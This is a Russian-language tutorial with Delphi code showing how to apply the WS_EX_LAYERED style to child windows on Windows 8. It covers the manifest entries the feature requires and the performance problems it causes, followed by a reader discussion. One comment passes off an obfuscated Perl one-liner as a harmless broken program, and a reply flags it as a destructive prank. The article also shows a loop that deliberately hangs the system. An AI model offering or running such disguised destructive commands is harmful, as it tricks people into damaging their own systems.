Стиль WS_EX_LAYERED для дочерних окон в Windows 8

  • Tutorial
В Windows Вы не можете просто так сделать полупрозрачный элемент управления, Вы должны либо рисовать все контролы сами(Qt, FMX) либо использовать DrawThemeParentBackground, что неминуемо приводит к тормозам.
Регионы тут не помогут т.к. они не поддерживают частичную прозрачность.
Было бы удобно использовать окна со стилем WS_EX_LAYERED («Слоистые» окна поддерживающие альфа прозрачность отдельных пикселей), однако Windows поддерживает этот стиль только для окон верхнего уровня. Так было до Windows 8 в которой, не прошло и полвека, наконец-то стало возможно назначать этот стиль дочерним окнам.

Что это дает? Первое что приходит в голову, это то, что композицией окон будет заниматься видео карта, что даст прирост производительности.

Под катом небольшое исследование этой возможности Windows 8.

Все примеры кода будут представлены на Delphi, однако подобный подход можно использовать и в других языках.

Попробуем создать такую полупрозрачную кнопку:

Для упрощения мы не будем рисовать ее средствами GDI+, а просто будем использовать готовый 32-х битный BitMap.

Создадим новое Vcl приложение, добавим на форму TImage и загрузим туда наш 32-х битный BitMap.
Также добавим на форму кнопку, при нажатии которой мы будем создавать 100 «кнопок».

Наш Layered компонент мы сделаем наследником от TButton, в котором мы добавим конструктор, принимающий 32-х битный BitMap, с изображением нашей кнопки, и переопределим процедуру CreateWnd отвечающую за создание окна:
  TWin8Control = class(TButton)
  private
    WinBitMap: TBitMap;
  public
    procedure CreateWnd; override;
    constructor Create(AOWner: TComponent; BitMap: TBitMap);
  end;
// ...
constructor TWin8Control.Create(AOWner: TComponent; BitMap: TBitMap);
begin
  inherited Create(AOwner);
  WinBitMap := BitMap;
end;

procedure TWin8Control.CreateWnd;
var
  bf: TBlendFunction;
  BitmapSize: TSize;
  BitmapPos:Tpoint;
begin
  inherited;

  if Assigned(WinBitMap) then
  begin
    // убедимся в том что у нас Premultiplied битмап
    WinBitMap.AlphaFormat := afPremultiplied;

    bf.BlendOp := AC_SRC_OVER;
    bf.BlendFlags := 1;
    bf.AlphaFormat := AC_SRC_ALPHA;
    bf.SourceConstantAlpha := 255;
    // получаем размеры BitMap
    BitmapSize.cx := WinBitMap.Width;
    BitmapSize.cy := WinBitMap.Height;
    BitmapPos.X := 0;
    BitmapPos.Y := 0;
    // добавляем "слоистый" стиль окна
    SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
    UpdateLayeredWindow(
      Handle,
      0,
      nil,
      @BitmapSize,
      WinBitMap.Canvas.Handle,
      @BitmapPos,
      0,
      @bf,
      ULW_ALPHA
    );
  end;
end;


Давайте теперь в обработчике нашей кнопки сделаем создание 100 дочерних Layered окон:
procedure TfrmMain.btnAdd100Click(Sender: TObject);
var
  i: Integer;
  Win8Control: TWin8Control;
begin
  for i := 0 to 99 do
  begin
    Win8Control := TWin8Control.Create(Self, Image.Picture.Bitmap);
    Win8Control.Parent := Self;
    Win8Control.Top := Random(400);
    Win8Control.Left := Random(400);
  end;
end;


Запустим приложение и нажмем на кнопку:

… И заметим, что к дочерним окнам почему-то не применился стиль WS_EX_LAYERED.

Как оказалось все дело в том, что эта фича не работает пока не указать в манифесте приложения поддержку Windows 8 (о чем не указано в явном виде на msdn):
  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> 
    <application> 
      <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
      <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
    </application> 
  </compatibility>


Добавляем эти строчки в манифест, подключаем его к проекту, снова запускаем и жмем на кнопку:

Ура, работает!

Однако не все так радужно…
Первое что бросается в глаза это то, что создаются такие окна очень медлительно, раз в 10 медленней обычных.
Второе, это то, что стало тормозить даже элементарное перетаскивание окна, не говоря уже о ресайзе, при котором можно наблюдать замечательные артефакты (извиняюсь за фото с экрана, но из-за специфичной работы Windows с такими окнами, на скриншотах артефактов не видно):

Это надо видеть, не поленитесь и поиграйтесь с примером.

Если несколько раз жать на кнопку, то подвиснет не только приложение, но и… вся система, что не происходит при создании обычных окон.
Это приводит к выводу что, к сожалению, такая прекрасная возможность была реализована не качественно, и использование ее в реальных приложениях не возможно.

И еще один эксперимент, про то, как подвесить всю систему (только сначала сохраните все свои данные).
Добавьте еще одну кнопку на форму и сделайте в обработчике такой бесконечный цикл:
procedure TfrmMain.LoopClick(Sender: TObject);
var
  Win8Control: TWin8Control;
begin
  while True do
  begin
    Win8Control := TWin8Control.Create(Self, Image.Picture.Bitmap);
    Win8Control.Parent := Self;
    Win8Control.Top := Random(400);
    Win8Control.Left := Random(400);
  end;
end;

После нажатия на кнопку Windows будет занята только созданием Layered окон и ничем больше, не будет реагировать даже на Ctrl+Alt+Del :)

Проект на GitHub: https://github.com/errorcalc/LayeredTest
Share post

Similar posts

Comments 52

    +3
    Эх, не дочитал до конца, запустил и сразу же нажал кнопку Loop. Хорошо хоть сохранялся до этого)
      +2
      Хороший урок для тех, кто не любит дочитывать статьи до конца
        –31
        помогите, пожалуйста исправить такую программу:

        cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

        — не печатает
          +6
          Кто не знает — не запускайте это под рутом, пожалуйста. Дурацкая шутка.
        0
        Не удалось посмотреть вживую с вашим скомпилированным файлом. Все выглядит как на вашем первом скриншоте.
          0
          Странно, у вас Windows 8?
            0
            Да, образ с modern.ie, IE10 on Win8 для VMware.
              +1
              У вас не WIndows 8.1, а просто Windows 8, я перепутал id:
              supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" — это для 8.1, а supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" — для 8.
              Исправил, проверьте сейчас.
                0
                Работает. Как вы поняли, запускал в виртуалке и таких глюков нет (пробовал добавлять около тысячи). Добавляется конечно долго и видно, что добавляется в верхний левый угол, потом положение меняется. Не лучше ли скрывать родителя на момент создания большого кол-ва кнопок?
          0
          Кстати, артефакты у меня начинаются только если добавить более 300 кнопок, до этого все идеально. Так что я не был бы так категоричен, утверждая, что эта фича совсем уж бесполезна — не так уж много где нужно подобное безумие.
            0
            У меня на GeForce GT 730M и i3, хватает 100 кнопок :(
            +2
            Давайте не будем возмущаться некачественой реализацией, а задумаемся, зачем оно надо. А надо оно, когда у вас прозрачные контролы накладываются друг на друга. Это нестандартная и очень редкая ситуация в нормальных приложениях. Кнопки уж точно накладываться друг на друга не будут (у вас даже хит тесты не будут работать правильно).

            Если же вам нужно подобное, то, скорее всего, это ради красивостей, анимаций и прочих свистелок и перделок. В этом случае реализовывать всё вручную при наличии нормальных гуёвых фреймворков тоже никто не будет.

            Вот что винда виснет — это плохо, да… Из-под ограниченного юзера тоже виснет?
              –2
              Хоть бы возразили что ли. А то минусов понатыкали и убежали.
                +3
                Из-под ограниченного юзера тоже виснет?
                Естественно, виснет, это старая проблема с исчерпанием глобальных для сеанса пользователя дескрипторов GDI.
                  +2
                  GDI-то ладно, это понятно. Почему не обработалось сообщение о CAD? Хотя Task Manager тоже handle'ы требует — может и обработалось, просто среагировать нечем. Но отсутствие возможности прибить процесс, съевший ресурсы GDI — это странно.
                    0
                    Да, если исчерпать все хендлы, то на ctrl+alt+del система хоть как-то реагирует, да и занимает этот процесс больше времени, а тут сразу в ступор входит.
                  +1
                  Переложить блендинг со своих плеч на плечи ОС, которая по хорошему может блендить даже на GPU.
                  Например играем видеоролик, поверх него хотим рисовать полупрозрачную панельку с элементами управления. Ваши предложения?
                    +1
                    Да хоть на летающем среди звёзд параллелепипеде. WPF.
                      0
                      Ради панельки переписывать весть проект на другой язык и фреймворк?
                      Сейчас везде интерфейс не прямоугольники из Windows 98, а кнопочки со сглаженными краями, ради них тоже на WPF переходить?
                        0
                        Ничто не мешает сделать видео и панельку на WPF, не трогая остального. WPF, WinForms, MFC, VCL и др. прекрасно сочетаются.

                        Если у вас в 2015-м году кнопки в стиле 1995-го года — при том, что нативные контролы рисуются скругленными с 2001-го года, — то я не понимаю, как вообще можно обсуждать полупрозрачные панельки.
                          0
                          Что-то не верю я в прекрасное сочетание WPF и VCL.
                            0
                            WPF хостится в нативном окне, контролы VCL в большинстве своём нативные окна. Остаётся только положить одно окно в другое.

                            Для справки: в Visual Studio равномерно размазаны WPF, WinForms, Win32, HTML. Это живое доказательство сочетаемости.
                              0
                              Но это не даст требуемую полупрозрачность.
                                0
                                Приложение на VCL, внутри нативный прямоугольный контрол, во весь контрол область WPF, во всю область видео, в ограниченной части области прозрачная панелька произвольной формы. Для взаимодействия между управляемым и неуправляемым кодом пишем по классу на Delphi и на .NET, чтобы при тыкании в панельку вызывались функции из приложения (чисто прокси с однострочными методами).

                                Я что-то упустил?
                                  0
                                  для честности необходимо вспомнить про airspace issues.
                                  Прекрасная статья для возможных решений.
                                    0
                                    Для честности я уже предложил видео тоже в WPF делать. Если бы не ограничения, одной панельки было бы достаточно, да.
                                      0
                                      А, эта та самая грустная статья… «we decided we could not actually ship this feature».
                                      0
                                      И какой смысл тогда vcl в нем использовать? Может у меня в панельке весь функционал приложения.
                                      А если приложение уже есть, или не хочется ради панельки тащить C# с дотнетом, то я как-нибудь выкручусь, и тут Layered окна были бы отличным помощником.
                                        0
                                        Всё верно: если у вас весь функционал приложения в полупрозрачной панельке и прочих свистелках и перделках, то смысла использовать VCL нет. :) Потому что такие вещи или пишешь с помощью подходящих инструментов, или совокупляешься до скончания времён. VCL для графических понтов не приспособлен, не нужно его насиловать.

                                        Если смешение с дотнетом для вас недопустимо, если у вас один графический понт на всё приложение, то это и есть исключительный случай, про который я сказал в первом абзаце первого комментария. Да, в этом случае слоёные окна сойдут. Если вас не смущает ограничения по оси, конечно…

                                        Ну и VCL я в целом рассматриваю как legacy. Я могу понять поддержку старого приложения, но не могу понять написание нового на этой библиотеке. Отсюда и моя позиция: если новое приложение, то писать сразу на дотнете; если старое, то плавно перебираться на дотнет. Кроме религиозных причин я ни разу не слышал рациональных доводов заниматься разработкой новых приложений на дельфи. (Есть реальная киллер-фича нативного бинарника, но покажите мне юзера, которому до этого есть дело...)
                                          0
                                          Aimp весь из графических понтов, однако на Дельфи написан и ничего.
                                          Тащить в проект WPF с вечно размытыми иконками и шрифтами, который на слабых машинах хорошо если вообще окно прорисует, плюс дотнет, ради панельки, нет спасибо.
                                          Про legacy: habrahabr.ru/post/165273/
                                            0
                                            Ваши данные о WPF сильно устарели. Размытость почти всегда из-за кривых рук: рендеринг шрифтов уже лет пять как настраивается, выравнивание поправляется от первой версии. Если компу меньше лет эдак семи, то не слишком навороченное приложение тормозить не будет. Опять-таки, от прямых рук зависит. Но если вы разрабатываете под Pentium III, то да, WPF не подойдёт, конечно. :)

                                            Конкретные приложения в пример можете не приводить. Так можно докатиться до обоснования безупречности PHP тем, что на нём википедия работает (аргумент с фейсбуком, к слову, скоро перестанет работать). :)

                                            Чёрт побери, ну что всем так нравится меня тыкать в мою же статью (точнее, в мой перевод). :D Да, в WPF много плохого. Но он всё равно лучше почти всего остального. В этом вся боль.
                                0
                                Нативные контролы как-раз и используют тормозной DrawThemeParentBackground, который заставляет перерисовываться другие контролы, в то время как с помощью адекватной реализации WS_EX_LAYERED можно было бы переложить это на видеокарту (простое и быстрое наложение текстур).
                                +1
                                Обычно на таких требованиях заказчик не останавливается. Потом стилизацию хитрую попросят, анимации и прочее. Нужна мультимедийность, краски, градиенты и т.п. — перелазьте на что-то более пригодное. Коллеги из Индии как-то по залихватски заявили однажды:
                                — Да нарисуем также и с теми же таймингами на WinForms и лицо небойсь было как на меме «B**ch Please». Но когда юзабилитист начал макеты перерисовывать раз в неделю, все — приплыли.
                                +1
                                Спасибо. Можно было еще посоветовать Windows не использовать.
                                  –1
                                  Вам чем-то не нравится WPF? Я бы посоветовал FireMonkey, но…
                              0
                              Сейчас делаю программу на C# и понадобилось мне к стандартному ТрекБару сделать подписи значений у рисок. Но когда я придвигаю лабелы со значениями слишком близко, то большие риски перекрываются фоном лабела. Сделал свойство «TransparentColor», — так в этом месте форма стала прозрачной насквозь. А счастье было так близко…
                                0
                                Выкиньте WinForms, и будет вам счастье.
                              +4
                              Т.е. плюем на gdi хэндлы, коих достаточно мало на всю систему и крутим цикл, спрашивая, почему тормозит? Забавно :)
                              А вообще подход интересный, про один из нюансов не знал, так что автору плюс :)
                                0
                                + много. В восьмерке gdi handle'ы по-прежнему 16 битные?
                                  0
                                  За восьмерку не скажу точно, но судя по всему, да :)
                                  0
                                  Проблема есть при создании всего 100 Layered окон, что далеко до исчерпания хендлов.
                                  0
                                  немного оффтоп:
                                  Есть ли возможность выводить слоистые окна поверх полноэкранных Direct3D приложений? В Win7 такой возможности я не нашел, возможно нечто появилось в Win8?
                                  // пилю свою обертку над AGTH, суть — вывод субтитров поверх игры.
                                    0
                                    D3D вроде как рисуется в некоем оверлее, который даже по PrintScreen не захватывается, если не ошибаюсь.
                                    +5
                                    А всё почему? Потому, что это изначально был костыль для рисования тени курсора.
                                      0
                                      Пример очень хороший. Однако если использовать возможности Windows, то лучше уж DirectComposition.
                                        0
                                        Вы бы хоть конфигурацию системы указали, а то «композицией окон будет заниматься видео карта», «прирост в производительности» и «стало тормозить даже элементарное перетаскивание окна». Может у Вас просто видеокарта слабая и на более сильных системах такого эффекта не будет?
                                          0
                                          GeForce GT 730M и i3 — достаточно, чтобы 100 кнопок не тормозило всю систему.
                                          Да и суть в том что если создать хоть 10 тысяч обычных окон — child-ов, тормозить при переносе окна не будет.
                                            0
                                            тормозить при переносе окна не будет.

                                            Отсечение, нет необходимости в прорироске закрытых участков? А с прозрачными, надо все просчитывать и все прорисовывать?
                                              0
                                              Перемещение окна первого уровня его не перерисовывает, за исключением случаев когда оно было перекрыто до этого.
                                          –7
                                          О господи, Delphi, я думал он давно умер.
                                            +3
                                            О господи, неужели нельзя содержаться.
                                            0
                                            Для того чтобы полюбоваться тормозами отрисовки интерфейса в любой версии Windows достаточно открыть произвольную программу с более-менее сложным интерфейсом (например, Проводник) и потаскать мышкой её левый верхний угол по диагонали. Интересно, хотя бы в 10-й версии изменение размеров окна будет адекватно работать?

                                            Only users with full accounts can post comments. Log in, please.